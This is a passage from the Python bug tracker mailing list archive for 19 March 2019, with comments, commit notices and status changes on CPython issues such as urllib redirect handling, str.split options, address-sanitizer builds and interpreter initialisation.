  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 745, in http_error_302
    self.inf_msg + msg, headers, fp)
urllib.error.HTTPError: HTTP Error 302: The HTTP server returned a redirect error that would lead to an infinite loop.
The last 30x error message was:
Found
```

----------
components: IO
messages: 338404
nosy: bugburger
priority: normal
severity: normal
status: open
title: Flawed handling of URL redirect
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36372>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:52:35 2019
From: report at bugs.python.org (SilentGhost)
Date: Tue, 19 Mar 2019 19:52:35 +0000
Subject: [issue36372] Flawed handling of URL redirect
In-Reply-To: <1553024939.15.0.48602014651.issue36372@roundup.psfhosted.org>
Message-ID: <1553025155.5.0.784786351421.issue36372@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
components: +Library (Lib) -IO
nosy: +orsenthil
type: crash -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36372>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:54:44 2019
From: report at bugs.python.org (Brrr Grrr)
Date: Tue, 19 Mar 2019 19:54:44 +0000
Subject: [issue36372] Flawed handling of URL redirect
In-Reply-To: <1553024939.15.0.48602014651.issue36372@roundup.psfhosted.org>
Message-ID: <1553025284.82.0.705740729208.issue36372@roundup.psfhosted.org>


Brrr Grrr <ab16180 at gmail.com> added the comment:

Please note that the `requests` package, for example, has no trouble reading this URL. I don't want to use that package for this task for certain other reasons though.

```python
>>> import requests
>>> requests.__version__
'2.21.0'
>>> requests.get('https://www.annemergmed.com/article/S0196-0644(99)70271-4/abstract')
<Response [200]>
```

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36372>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:55:35 2019
From: report at bugs.python.org (dtrauma)
Date: Tue, 19 Mar 2019 19:55:35 +0000
Subject: [issue36373] asyncio.gather: no docs for deprecated loop parameter
Message-ID: <1553025335.55.0.640410639085.issue36373@roundup.psfhosted.org>


New submission from dtrauma <python-bugs at digital-trauma.de>:

https://docs.python.org/3.7/library/asyncio-task.html#running-tasks-concurrently

For asyncio.gather, the docs should probably say

The loop argument is deprecated and scheduled for removal in Python 3.10.

as they do for all the other loop arguments of other functions.

----------
assignee: docs at python
components: Documentation
messages: 338406
nosy: docs at python, dtrauma
priority: normal
severity: normal
status: open
title: asyncio.gather: no docs for deprecated loop parameter
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36373>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:58:12 2019
From: report at bugs.python.org (SilentGhost)
Date: Tue, 19 Mar 2019 19:58:12 +0000
Subject: [issue36371] FancyGetopt.generate_help crashes with TypeError
In-Reply-To: <1553023721.87.0.244603228495.issue36371@roundup.psfhosted.org>
Message-ID: <1553025492.35.0.96365180971.issue36371@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

I'm not sure why you're using distutils, but two extra spaces at the end of string is not likely to be fixed. The module is frozen and only present in the tree for historical reasons.

----------
components: +Distutils
nosy: +SilentGhost, dstufft, eric.araujo
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36371>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:58:13 2019
From: report at bugs.python.org (Brrr Grrr)
Date: Tue, 19 Mar 2019 19:58:13 +0000
Subject: [issue36372] Flawed handling of URL redirect
In-Reply-To: <1553024939.15.0.48602014651.issue36372@roundup.psfhosted.org>
Message-ID: <1553025493.05.0.95625131875.issue36372@roundup.psfhosted.org>


Brrr Grrr <ab16180 at gmail.com> added the comment:

This error is not due to cookies either. I tried `HTTPCookieProcessor` with no luck. Cookies help with opening certain other URLs but evidently not with this one.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36372>
_______________________________________

From report at bugs.python.org  Tue Mar 19 16:04:12 2019
From: report at bugs.python.org (Brrr Grrr)
Date: Tue, 19 Mar 2019 20:04:12 +0000
Subject: [issue36372] Flawed handling of URL redirect
In-Reply-To: <1553024939.15.0.48602014651.issue36372@roundup.psfhosted.org>
Message-ID: <1553025852.9.0.0212767209669.issue36372@roundup.psfhosted.org>


Brrr Grrr <ab16180 at gmail.com> added the comment:

That's not to say that cookies are not needed for this URL. They may very well be needed using HTTPCookieProcessor. I'm saying that cookies alone won't solve this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36372>
_______________________________________

From report at bugs.python.org  Tue Mar 19 17:11:34 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 19 Mar 2019 21:11:34 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1553029894.36.0.232747982542.issue36324@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
pull_requests: +12402

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Tue Mar 19 17:29:18 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 19 Mar 2019 21:29:18 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1553030958.81.0.18366789896.issue36324@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset fe13883f01da855967403acab77e0f16707a56cb by Miss Islington (bot) (Raymond Hettinger) in branch 'master':
bpo-36324: Improved code formatting for the NormalDist.inv_cdf rational approximation (GH-12448)
https://github.com/python/cpython/commit/fe13883f01da855967403acab77e0f16707a56cb


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Tue Mar 19 17:45:28 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Tue, 19 Mar 2019 21:45:28 +0000
Subject: [issue36374] A possible null pointer dereference in compile.c's
 merge_consts_recursive()
Message-ID: <1553031928.75.0.0804160470013.issue36374@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

If PyDict_SetDefault() fails in merge_consts_recursive(), Py_INCREF() will be called on a null pointer.

----------
components: Interpreter Core
messages: 338411
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible null pointer dereference in compile.c's merge_consts_recursive()
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36374>
_______________________________________

From report at bugs.python.org  Tue Mar 19 17:48:11 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Tue, 19 Mar 2019 21:48:11 +0000
Subject: [issue36374] A possible null pointer dereference in compile.c's
 merge_consts_recursive()
In-Reply-To: <1553031928.75.0.0804160470013.issue36374@roundup.psfhosted.org>
Message-ID: <1553032091.75.0.997734374337.issue36374@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
keywords: +patch
pull_requests: +12403
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36374>
_______________________________________

From report at bugs.python.org  Tue Mar 19 18:34:53 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 19 Mar 2019 22:34:53 +0000
Subject: [issue28937] str.split(): remove empty strings when sep is not None
In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za>
Message-ID: <1553034893.64.0.858177979578.issue28937@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

@ebarry, any interest in converting your patch to a GitHub pull request?  Thanks!

----------
nosy: +cheryl.sabella
versions: +Python 3.8 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28937>
_______________________________________

From report at bugs.python.org  Tue Mar 19 18:44:58 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 19 Mar 2019 22:44:58 +0000
Subject: [issue32147] improve performance of binascii.unhexlify() by using
 conversion table
In-Reply-To: <1511784869.56.0.213398074469.issue32147@psf.upfronthosting.co.za>
Message-ID: <1553035498.93.0.312983636351.issue32147@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Since this PR was merged, can the issue be closed?

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32147>
_______________________________________

From report at bugs.python.org  Tue Mar 19 18:59:02 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 19 Mar 2019 22:59:02 +0000
Subject: [issue18016] subprocess should open stdin in mode w+b on windows
In-Reply-To: <1368995353.89.0.988630901542.issue18016@psf.upfronthosting.co.za>
Message-ID: <1553036342.57.0.850460867909.issue18016@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Since Steve was inclined to close this in 2014 and there haven't been any additional comments since then, I am going to close this now.

----------
nosy: +cheryl.sabella
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18016>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:03:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:03:05 +0000
Subject: [issue35388] _PyRuntime_Initialize() called after Py_Finalize() does
 nothing
In-Reply-To: <1543849990.49.0.788709270274.issue35388@psf.upfronthosting.co.za>
Message-ID: <1553036585.4.0.458364456861.issue35388@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset fd23cfa464ab93273370475900819c1ea37c852f by Victor Stinner in branch 'master':
bpo-35388: Fix _PyRuntime_Finalize() (GH-12443)
https://github.com/python/cpython/commit/fd23cfa464ab93273370475900819c1ea37c852f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35388>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:03:17 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:03:17 +0000
Subject: [issue35388] _PyRuntime_Initialize() called after Py_Finalize() does
 nothing
In-Reply-To: <1543849990.49.0.788709270274.issue35388@psf.upfronthosting.co.za>
Message-ID: <1553036597.61.0.435483875512.issue35388@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35388>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:03:38 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:03:38 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553036618.38.0.670777873765.issue36236@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12404

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:05:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:05:55 +0000
Subject: [issue36365] Objects/structseq.c: warning: 'strncpy' specified bound
 depends on the length of the source argument
In-Reply-To: <1553007457.48.0.128688870738.issue36365@roundup.psfhosted.org>
Message-ID: <1553036755.04.0.379916224378.issue36365@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset c70ab02df2894c34da2223fc3798c0404b41fd79 by Victor Stinner in branch 'master':
bpo-36365: Rewrite structseq_repr() using _PyUnicodeWriter (GH-12440)
https://github.com/python/cpython/commit/c70ab02df2894c34da2223fc3798c0404b41fd79


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36365>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:06:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:06:20 +0000
Subject: [issue36365] Objects/structseq.c: warning: 'strncpy' specified bound
 depends on the length of the source argument
In-Reply-To: <1553007457.48.0.128688870738.issue36365@roundup.psfhosted.org>
Message-ID: <1553036780.18.0.957234551911.issue36365@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36365>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:15:24 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:15:24 +0000
Subject: [issue36365] Objects/structseq.c: warning: 'strncpy' specified bound
 depends on the length of the source argument
In-Reply-To: <1553007457.48.0.128688870738.issue36365@roundup.psfhosted.org>
Message-ID: <1553037324.92.0.7871110633.issue36365@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12405

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36365>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:30:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:30:51 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553038250.99.0.462011591613.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f7959a9fe7e7e316899c60251e29390c4ed0307a by Victor Stinner in branch '3.7':
bpo-36236: Handle removed cwd at Python init (GH-12450)
https://github.com/python/cpython/commit/f7959a9fe7e7e316899c60251e29390c4ed0307a


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:31:21 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:31:21 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553038281.99.0.788512717367.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Pablo: Oh ok, thanks for testing. I fixed 3.7 as well. Would you mind to validate my fix?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:32:21 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:32:21 +0000
Subject: [issue36365] Objects/structseq.c: warning: 'strncpy' specified bound
 depends on the length of the source argument
In-Reply-To: <1553007457.48.0.128688870738.issue36365@roundup.psfhosted.org>
Message-ID: <1553038341.59.0.35072202927.issue36365@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset ea3592d7ef6308bf9f6c7d86556f9b36f5ca0060 by Victor Stinner in branch '3.7':
bpo-36365: Fix compiler warning in structseq.c (GH-12451)
https://github.com/python/cpython/commit/ea3592d7ef6308bf9f6c7d86556f9b36f5ca0060


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36365>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:37:25 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 19 Mar 2019 23:37:25 +0000
Subject: [issue36362] Detected unused variables in import.c and
 HAVE_DYNAMIC_LOADING=False with --with-address-sanitizer
In-Reply-To: <1552989827.06.0.868737365224.issue36362@roundup.psfhosted.org>
Message-ID: <1553038645.81.0.285828358455.issue36362@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 0d765e3849f1010276bb349b557b79ed94befa0b by Miss Islington (bot) (St?phane Wirtel) in branch 'master':
bpo-36362: Avoid unused variables when HAVE_DYNAMIC_LOADING is not defined (GH-12430)
https://github.com/python/cpython/commit/0d765e3849f1010276bb349b557b79ed94befa0b


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36362>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:37:54 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 19 Mar 2019 23:37:54 +0000
Subject: [issue36362] Detected unused variables in import.c and
 HAVE_DYNAMIC_LOADING=False with --with-address-sanitizer
In-Reply-To: <1552989827.06.0.868737365224.issue36362@roundup.psfhosted.org>
Message-ID: <1553038674.02.0.542318265933.issue36362@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Thanks!

----------
nosy: +brett.cannon
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36362>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:41:08 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 19 Mar 2019 23:41:08 +0000
Subject: [issue28937] str.split(): remove empty strings when sep is not None
In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za>
Message-ID: <1553038868.79.0.240263727589.issue28937@roundup.psfhosted.org>


Barry A. Warsaw <barry at python.org> added the comment:

@veky - Thank you for pointing out splitlines(keepends=True).  If we wanted consistency, then we'd change the sense and use something like .split(keepempty=True), however:

* I don't like run-on names, so I would suggest keep_empty
* Maybe just `keep` is enough
* Either way, this should be a keyword only argument
* The default would still be None (i.e. current behavior), but keep_empty=True would be equivalent to prune=False and keep_empty=False would be equivalent to prune=True in the previous discussion.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28937>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:52:04 2019
From: report at bugs.python.org (Brrr Grrr)
Date: Tue, 19 Mar 2019 23:52:04 +0000
Subject: [issue36372] Flawed handling of URL redirect
In-Reply-To: <1553024939.15.0.48602014651.issue36372@roundup.psfhosted.org>
Message-ID: <1553039524.9.0.643168658443.issue36372@roundup.psfhosted.org>


Brrr Grrr <ab16180 at gmail.com> added the comment:

I now used a custom HTTPRedirectHandler with `max_redirections = 20`. The default is 10. This workaround addresses the issue, although it doesn't rule out a cleaner fix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36372>
_______________________________________

From report at bugs.python.org  Tue Mar 19 19:57:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 23:57:14 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1553039834.47.0.0408809554163.issue36333@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

"./python -V" no longer leaks, so I close the issue. See bpo-36356 for the follow-up.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:00:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 00:00:51 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553040051.85.0.336933680966.issue36356@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12406

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:10:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 00:10:25 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553040625.51.0.495045245214.issue36356@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12407

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:14:00 2019
From: report at bugs.python.org (Cameron Simpson)
Date: Wed, 20 Mar 2019 00:14:00 +0000
Subject: [issue36375] PEP 499 implementation: "python -m foo" binds the main
 module as both __main__ and foo in sys.modules
Message-ID: <1553040840.44.0.769944520222.issue36375@roundup.psfhosted.org>


New submission from Cameron Simpson <cs at cskk.id.au>:

This issue is to track the implementation of PEP 499 which we hope to get into the upcoming 3.8 release. I've made it because cpython PRs want a bpo number in the subject line.

I'll link in the proposed PR once I've filed off a few grammar issues I've just noticed (documentation English grammar).

----------
components: Interpreter Core
messages: 338425
nosy: cameron, ncoghlan
priority: normal
severity: normal
status: open
title: PEP 499 implementation: "python -m foo" binds the main module as both __main__ and foo in sys.modules
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36375>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:19:34 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 00:19:34 +0000
Subject: [issue26103] Contradiction in definition of "data descriptor" between
 (dotted lookup behavior/datamodel documentation) and (inspect
 lib/descriptor how-to)
In-Reply-To: <1452718612.1.0.925403449689.issue26103@psf.upfronthosting.co.za>
Message-ID: <1553041174.54.0.10375623739.issue26103@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

It looks like this issue can be closed now that it's merged?

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26103>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:28:56 2019
From: report at bugs.python.org (Cameron Simpson)
Date: Wed, 20 Mar 2019 00:28:56 +0000
Subject: [issue36375] PEP 499 implementation: "python -m foo" binds the main
 module as both __main__ and foo in sys.modules
In-Reply-To: <1553040840.44.0.769944520222.issue36375@roundup.psfhosted.org>
Message-ID: <1553041736.63.0.822393033245.issue36375@roundup.psfhosted.org>


Change by Cameron Simpson <cs at cskk.id.au>:


----------
keywords: +patch
pull_requests: +12408
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36375>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:36:35 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 20 Mar 2019 00:36:35 +0000
Subject: [issue36143] Auto-generate Lib/keyword.py
In-Reply-To: <1551327070.18.0.354102770805.issue36143@roundup.psfhosted.org>
Message-ID: <1553042195.79.0.919552643135.issue36143@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12409
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36143>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:37:23 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 00:37:23 +0000
Subject: [issue26517] Crash in installer
In-Reply-To: <1457528985.92.0.506941181927.issue26517@psf.upfronthosting.co.za>
Message-ID: <1553042243.31.0.0866969298875.issue26517@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Closing this as 'works for me' as no additional information had been provided by the OP to help reproduce the issue.

----------
nosy: +cheryl.sabella
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26517>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:52:19 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 00:52:19 +0000
Subject: [issue33635] OSError when using pathlib.Path.rglob() to list device
 files
In-Reply-To: <1527164127.59.0.682650639539.issue33635@psf.upfronthosting.co.za>
Message-ID: <1553043139.86.0.108366663915.issue33635@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33635>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:56:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 00:56:47 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553043407.8.0.295497379589.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12410

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 19 21:20:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 01:20:16 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553044816.0.0.57523644896.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f29084d611a6ca504c99a0967371374febf0ccc3 by Victor Stinner in branch 'master':
bpo-36301: Add _PyRuntime.pre_initialized (GH-12457)
https://github.com/python/cpython/commit/f29084d611a6ca504c99a0967371374febf0ccc3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 19 21:41:30 2019
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 20 Mar 2019 01:41:30 +0000
Subject: [issue28937] str.split(): remove empty strings when sep is not None
In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za>
Message-ID: <1553046090.88.0.113914033223.issue28937@roundup.psfhosted.org>


Emanuel Barry <barry at dadadata.net> added the comment:

Unfortunately not. I no longer have the time or means to work on this, sorry. I hope someone else can pick it up.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28937>
_______________________________________

From report at bugs.python.org  Tue Mar 19 21:41:46 2019
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 20 Mar 2019 01:41:46 +0000
Subject: [issue28937] str.split(): remove empty strings when sep is not None
In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za>
Message-ID: <1553046106.11.0.215084276211.issue28937@roundup.psfhosted.org>


Change by Emanuel Barry <barry at dadadata.net>:


----------
nosy:  -ebarry

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28937>
_______________________________________

From report at bugs.python.org  Tue Mar 19 21:48:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 01:48:13 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553046493.03.0.361194814984.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12411

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:01:04 2019
From: report at bugs.python.org (Ma Lin)
Date: Wed, 20 Mar 2019 02:01:04 +0000
Subject: [issue29301] decimal: Use FASTCALL and/or Argument Clinic
In-Reply-To: <1484671124.21.0.493200110844.issue29301@psf.upfronthosting.co.za>
Message-ID: <1553047264.78.0.606545072293.issue29301@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

> AC will not happen: It makes the module too large and unreadable.

AC has great performance improvements these days: issue35582 and issue36127
It's quite worthy of reconsidering this decision.

----------
nosy: +Ma Lin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29301>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:11:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 02:11:42 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553047902.38.0.282801201526.issue36356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 4a1468e593c4b67d8c78b78070fff9e18ec5d790 by Victor Stinner in branch 'master':
bpo-36356: Fix _PyCoreConfig_Read() (GH-12454)
https://github.com/python/cpython/commit/4a1468e593c4b67d8c78b78070fff9e18ec5d790


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:23:08 2019
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 20 Mar 2019 02:23:08 +0000
Subject: [issue36376] Wrong position of SyntaxError in IDLE
Message-ID: <1553048588.12.0.98853436877.issue36376@roundup.psfhosted.org>


New submission from Vedran ?a?i? <vedgar at gmail.com>:

Open IDLE, New File, put this inside:

    'abcde\
    ')
    x = 123456789

And try to Run Module. Of course, the syntax error is extra ) at the end of the second line. But it is not highlighted. What's highlighted is 123 in the third line. Some additional observations:

